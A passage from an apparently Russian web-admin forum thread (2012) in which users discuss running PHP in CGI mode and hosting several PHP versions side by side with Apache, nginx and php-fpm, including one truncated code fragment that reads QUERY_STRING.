    >> я чего-то не понимаю?
    > строчку покажите

    Например, так: AddType application/x-httpd-php53 .php
    См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-php-na-odnom-xosti

     
     
  • 8.86, Аноним (-), 15:46, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    ну это только с юзерской стороны одна строчка mod_php не обеспечивает должно... текст свёрнут, показать
     
  • 4.80, Юрий (??), 14:58, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Не часто, но бывает.
    Мне вот на днях пришлось перенести на свой сервер два проекта. Один из них работает только на PHP 4, второй не работает на PHP 5.3
    И вот я был вынужден поставить в дополнение к связке nginx + apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
     
     
  • 5.82, Алексей Добров (?), 15:14, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Не часто, но бывает.
    > Мне вот на днях пришлось перенести на свой сервер два проекта. Один
    > из них работает только на PHP 4, второй не работает на
    > PHP 5.3
    > И вот я был вынужден поставить в дополнение к связке nginx +
    > apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9
    > и nginx + php-fpm 5.2.17

    Да уж, веселые приключения  %)
    Но все же Вам для этого не потребовалось запускать PHP-скрипты в CGI-режиме, или я неправ?

     
  • 3.87, AlexAT (ok), 16:11, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > например для одновременной работы разныхверсий пхп.

    Ну это если только религия не позволяет заменить php5_module на php51_module, php52_module, phpetc_module...

     
  • 2.99, Аноним (-), 23:30, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

    На некоторых sharing-хостингах это обычная практика.

     
     
  • 3.105, Аноним (-), 12:33, 09/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    if query_string getenv QUERY_STRING NULL strchr query_string, ... текст свёрнут, показать
     

  • 1.107, Аноним (107), 08:59, 23/12/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    MIRhosting
    Fornex
    Hosting by Ihor
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2019 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру